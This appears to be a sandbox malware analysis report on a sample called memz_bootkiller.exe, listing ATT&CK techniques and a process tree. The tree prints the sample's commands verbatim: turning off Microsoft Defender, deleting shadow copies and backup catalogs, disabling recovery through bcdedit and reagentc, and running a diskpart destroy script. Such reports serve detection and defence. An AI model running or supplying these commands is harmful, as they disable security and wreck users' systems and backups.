5c4e77fce970bbc2e30c151ea3c6f4e771413941cce0eb40ce649d06aaa2b371

Analysis

max time kernel
90s
max time network
81s
platform
windows11-21h2_x64
resource
win11-20260911-en
resource tags

arch:x64arch:x86image:win11-20260911-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
26/09/2026, 18:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
memz_bootkiller.exe
Size 755KB
Sample260926-xbebys1tbx
SHA256 5c4e77fce970bbc2e30c151ea3c6f4e771413941cce0eb40ce649d06aaa2b371
MD5 61caeecb083c738ceb238413d77d994a
SHA1 5fb63042ba9e193c36ed7bfb24d24af58d144b1e
SHA512 99a5cb5701d7cb5540b2c179fceb58a1eb90a2da9b2afa8095563962c862920b8094693a5b99844c70cb309ee2d34a04963b501cdcb6758b86bab342acd6ce4b
SSDEEP 12288:Whe95B3XXRWh20UCUzHZ+dVTTGDwnbd2xd:Ws3RKUVHZKTWYbd2xd
TLSH
T107F43A47B3A49EEADC12663895CF631DA734FCB007929AC7671052216E47BE88D7FB10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion discovery evasion execution impact persistence ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2416	bcdedit.exe
1504	bcdedit.exe
1756	bcdedit.exe
3296	bcdedit.exe
652	bcdedit.exe
4532	bcdedit.exe
4664	bcdedit.exe
704	bcdedit.exe
3948	bcdedit.exe
444	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4204	powershell.exe
2616	powershell.exe
4992	powershell.exe
4512	powershell.exe
3388	powershell.exe
4384	powershell.exe
3064	powershell.exe
1456	powershell.exe
4972	powershell.exe
1028	powershell.exe

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
3616	wbadmin.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2757962786-3770611029-2102435697-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	memz_bootkiller.exe

Disables Task Manager via registry modification
defense_evasion

Disables one or more Microsoft Defender components 1 TTPs 6 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
3064	powershell.exe
1456	powershell.exe
4972	powershell.exe
1028	powershell.exe
3388	powershell.exe
4384	powershell.exe

Enumerates connected drives 3 TTPs 8 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe
\??\F:\	powershell.exe

Executes a command shell one-liner 1 TTPs 29 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4264	cmd.exe
1160	cmd.exe
1648	cmd.exe
3764	cmd.exe
5072	cmd.exe
2004	cmd.exe
2620	cmd.exe
2336	cmd.exe
3356	cmd.exe
3320	cmd.exe
1100	cmd.exe
4628	cmd.exe
3060	cmd.exe
1172	cmd.exe
1712	cmd.exe
2072	cmd.exe
5064	cmd.exe
4484	cmd.exe
292	cmd.exe
3304	cmd.exe
3988	cmd.exe
2772	cmd.exe
3332	cmd.exe
4344	cmd.exe
1748	cmd.exe
4312	cmd.exe
2808	cmd.exe
2100	cmd.exe
2524	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1484	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
3812	memz_bootkiller.exe
3812	memz_bootkiller.exe
4204	powershell.exe
4204	powershell.exe
2616	powershell.exe
2616	powershell.exe
3388	powershell.exe
3388	powershell.exe
4384	powershell.exe
4384	powershell.exe
3064	powershell.exe
3064	powershell.exe
4016	memz_bootkiller.exe
4016	memz_bootkiller.exe
4992	powershell.exe
4992	powershell.exe
4512	powershell.exe
4512	powershell.exe
3812	memz_bootkiller.exe
3812	memz_bootkiller.exe
1456	powershell.exe
1456	powershell.exe
4972	powershell.exe
4972	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
680	Process not Found

Suspicious use of AdjustPrivilegeToken 59 IoCs

description	pid	Process
Token: SeDebugPrivilege	3812	memz_bootkiller.exe
Token: SeDebugPrivilege	4204	powershell.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	3388	powershell.exe
Token: SeDebugPrivilege	4384	powershell.exe
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeBackupPrivilege	4976	vssvc.exe
Token: SeRestorePrivilege	4976	vssvc.exe
Token: SeAuditPrivilege	4976	vssvc.exe
Token: SeDebugPrivilege	4016	memz_bootkiller.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeBackupPrivilege	2824	wbengine.exe
Token: SeRestorePrivilege	2824	wbengine.exe
Token: SeSecurityPrivilege	2824	wbengine.exe
Token: SeIncreaseQuotaPrivilege	664	WMIC.exe
Token: SeSecurityPrivilege	664	WMIC.exe
Token: SeTakeOwnershipPrivilege	664	WMIC.exe
Token: SeLoadDriverPrivilege	664	WMIC.exe
Token: SeSystemProfilePrivilege	664	WMIC.exe
Token: SeSystemtimePrivilege	664	WMIC.exe
Token: SeProfSingleProcessPrivilege	664	WMIC.exe
Token: SeIncBasePriorityPrivilege	664	WMIC.exe
Token: SeCreatePagefilePrivilege	664	WMIC.exe
Token: SeBackupPrivilege	664	WMIC.exe
Token: SeRestorePrivilege	664	WMIC.exe
Token: SeShutdownPrivilege	664	WMIC.exe
Token: SeDebugPrivilege	664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	664	WMIC.exe
Token: SeRemoteShutdownPrivilege	664	WMIC.exe
Token: SeUndockPrivilege	664	WMIC.exe
Token: SeManageVolumePrivilege	664	WMIC.exe
Token: 33	664	WMIC.exe
Token: 34	664	WMIC.exe
Token: 35	664	WMIC.exe
Token: 36	664	WMIC.exe
Token: SeDebugPrivilege	4512	powershell.exe
Token: SeIncreaseQuotaPrivilege	664	WMIC.exe
Token: SeSecurityPrivilege	664	WMIC.exe
Token: SeTakeOwnershipPrivilege	664	WMIC.exe
Token: SeLoadDriverPrivilege	664	WMIC.exe
Token: SeSystemProfilePrivilege	664	WMIC.exe
Token: SeSystemtimePrivilege	664	WMIC.exe
Token: SeProfSingleProcessPrivilege	664	WMIC.exe
Token: SeIncBasePriorityPrivilege	664	WMIC.exe
Token: SeCreatePagefilePrivilege	664	WMIC.exe
Token: SeBackupPrivilege	664	WMIC.exe
Token: SeRestorePrivilege	664	WMIC.exe
Token: SeShutdownPrivilege	664	WMIC.exe
Token: SeDebugPrivilege	664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	664	WMIC.exe
Token: SeRemoteShutdownPrivilege	664	WMIC.exe
Token: SeUndockPrivilege	664	WMIC.exe
Token: SeManageVolumePrivilege	664	WMIC.exe
Token: 33	664	WMIC.exe
Token: 34	664	WMIC.exe
Token: 35	664	WMIC.exe
Token: 36	664	WMIC.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	4972	powershell.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 3812 wrote to memory of 1100	3812	memz_bootkiller.exe	80
PID 1100 wrote to memory of 4204	1100	cmd.exe	82
PID 3812 wrote to memory of 4312	3812	memz_bootkiller.exe	83
PID 4312 wrote to memory of 2616	4312	cmd.exe	85
PID 3812 wrote to memory of 4264	3812	memz_bootkiller.exe	86
PID 4264 wrote to memory of 3388	4264	cmd.exe	88
PID 3812 wrote to memory of 2620	3812	memz_bootkiller.exe	89
PID 2620 wrote to memory of 4384	2620	cmd.exe	91
PID 3812 wrote to memory of 2808	3812	memz_bootkiller.exe	92
PID 2808 wrote to memory of 3064	2808	cmd.exe	94
PID 3812 wrote to memory of 1160	3812	memz_bootkiller.exe	95
PID 1160 wrote to memory of 2360	1160	cmd.exe	97
PID 2360 wrote to memory of 1292	2360	net.exe	98
PID 3812 wrote to memory of 2072	3812	memz_bootkiller.exe	99
PID 2072 wrote to memory of 3744	2072	cmd.exe	101
PID 3744 wrote to memory of 3392	3744	net.exe	102
PID 3812 wrote to memory of 3988	3812	memz_bootkiller.exe	103
PID 3988 wrote to memory of 2700	3988	cmd.exe	105
PID 2700 wrote to memory of 536	2700	net.exe	106
PID 3812 wrote to memory of 2772	3812	memz_bootkiller.exe	107
PID 2772 wrote to memory of 1512	2772	cmd.exe	109
PID 1512 wrote to memory of 1540	1512	net.exe	110
PID 3812 wrote to memory of 1648	3812	memz_bootkiller.exe	111
PID 1648 wrote to memory of 1484	1648	cmd.exe	113
PID 3812 wrote to memory of 3332	3812	memz_bootkiller.exe	117
PID 4016 wrote to memory of 1172	4016	memz_bootkiller.exe	120
PID 3332 wrote to memory of 3616	3332	cmd.exe	122
PID 1172 wrote to memory of 4992	1172	cmd.exe	123
PID 3812 wrote to memory of 2336	3812	memz_bootkiller.exe	127
PID 2336 wrote to memory of 2416	2336	cmd.exe	129
PID 4016 wrote to memory of 4344	4016	memz_bootkiller.exe	130
PID 3812 wrote to memory of 2100	3812	memz_bootkiller.exe	131
PID 2100 wrote to memory of 664	2100	cmd.exe	134
PID 4344 wrote to memory of 4512	4344	cmd.exe	135
PID 4016 wrote to memory of 1712	4016	memz_bootkiller.exe	137
PID 1712 wrote to memory of 1456	1712	cmd.exe	139
PID 4016 wrote to memory of 1748	4016	memz_bootkiller.exe	141
PID 1748 wrote to memory of 4972	1748	cmd.exe	143

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe
"C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe"
1⤵
- Disables RegEdit via registry modification
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2620
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3064
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop WinDefend
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\system32\net.exe
    net stop WinDefend
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:1292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop wscsvc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\system32\net.exe
    net stop wscsvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3744
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop wscsvc
      4⤵
      PID:3392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop Sense
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3988
- - C:\Windows\system32\net.exe
    net stop Sense
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop Sense
      4⤵
      PID:536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net stop MsMpSvc
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\system32\net.exe
    net stop MsMpSvc
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MsMpSvc
      4⤵
      PID:1540
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1648
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3332
- - C:\Windows\system32\wbadmin.exe
    wbadmin delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3616
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2336
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2416
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic pagefileset delete
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2100
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic pagefileset delete
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  PID:292
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
  2⤵
  - Executes a command shell one-liner
  PID:5064
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled no
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /deletevalue {default} bootmenupolicy
  2⤵
  - Executes a command shell one-liner
  PID:4628
- - C:\Windows\system32\bcdedit.exe
    bcdedit /deletevalue {default} bootmenupolicy
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3296
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} hypervisorlaunchtype off
  2⤵
  - Executes a command shell one-liner
  PID:4484
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootmenupolicy standard
  2⤵
  - Executes a command shell one-liner
  PID:3764
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootmenupolicy standard
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} allowextendedmemory 0
  2⤵
  - Executes a command shell one-liner
  PID:3304
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} allowextendedmemory 0
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} truncatememory 0x10000000
  2⤵
  - Executes a command shell one-liner
  PID:5072
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} truncatememory 0x10000000
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:704
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} numproc 1
  2⤵
  - Executes a command shell one-liner
  PID:2524
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} numproc 1
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} maxmem 512
  2⤵
  - Executes a command shell one-liner
  PID:3320
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} maxmem 512
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  - Executes a command shell one-liner
  PID:3060
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    PID:4612
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c diskpart /s X:\destroy.txt
  2⤵
  - Executes a command shell one-liner
  PID:2004
- - C:\Windows\system32\diskpart.exe
    diskpart /s X:\destroy.txt
    3⤵
    PID:4856

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4976

C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe
C:\Users\Admin\AppData\Local\Temp\memz_bootkiller.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4016
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4344
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'memz_bootkiller.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1456
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
  2⤵
  - Executes a command shell one-liner
  PID:3356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableIOAVProtection $true"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Disables one or more Microsoft Defender components
    PID:1028

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2824

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2584

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:984

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4572

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39cd055 /state1:0x41c64e6d
1⤵
PID:2508

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...